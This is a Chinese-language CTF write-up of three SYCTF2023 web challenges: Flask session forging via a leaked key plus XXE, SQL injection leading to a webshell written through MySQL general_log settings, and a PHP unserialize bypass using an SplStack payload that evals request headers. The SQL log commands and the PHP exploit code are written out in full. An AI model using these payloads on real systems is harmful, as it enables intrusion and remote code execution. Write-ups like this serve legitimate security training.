SYCTF2023 WEB writeup
CarelessPy
一进来就是个任意文件下载功能,不过做了些限制,这题从头到尾都在骂杂鱼。。。(虽然我确实是(bushi)
查看页面源代码,给了个/eval /login
两个路由,/eval是个目录遍历,/login尝试登录无果,有session,应该需要伪造session,利用/eval查看app下的pyc文件,然后down下载
在线找个pyc反编译,成功拿到密钥
直接flask-session-manager伪造session,登录成功后拿到/th1s_1s_The_L4st_one
这个路由,访问查看,xml的页面,猜想存在xxe漏洞,抓个包分析分析,直接payload打,注意得加个Content-Type: text/xml
否则打不通
Confronting robot
这题给我ex坏了,第一个页面,myname参数存在注入,sqlmap一把梭
访问/sEcR@t_n@Bodyknow.php
测试发现这是个模拟sql命令行,可以执行sql命令,查看页面源代码发现game.php
,访问查看,猜拳10局,赢了就给flag,结果game表里没有数据,猜测是得我们插入数据来确保我们稳赢,查看当前用户是secret@localhost
,查看一下权限show grants for secret@localhsot,一看不知道一看吓一跳,基本没有权限,有个查询权限和创建用户权限,这还写个屁数据,这里折磨了一整天,想了一堆办法终无果,最终查看大佬方法,开启日志查询,写马getshell,额贼,佩服能想到的,先开启全局日志查询,然后设置当前文件为日志存储文件,这样只需select '',然后 蚁剑连接即可。记得把你的火绒关掉,要不然给拦截了
set global general_log='on'
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php'
查看game.php拿到flag
听说还有修改用户的玩法,有无大佬蕉蕉
4号的罗纳尔多
php审计,代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}
很经典不能O,a开头,那我们就C开头,不能有ArrayObject,啧,之前ctfshow学到的没用了,最终发现SplStack这个类也能用,然后就是绕__destruct,也就是只能使用[A-Za-z_\(\)]
,最后带个;
怎么把givemegirlfriend!
除掉是个问题,__halt_compiler();
可以中断编译器的执行,不让eval解析后面的就行了,这里没法用引号,所以得构造无参rce,exp如下:
<?php
class evil
{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);
// 注意得修改成符合C的格式,具体可以自己查资料
// C:8:"SplStack":84:{i:0;:O:4:"evil":1:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";};}
复现复现着环境没了,日。。。。,最终在本地打通。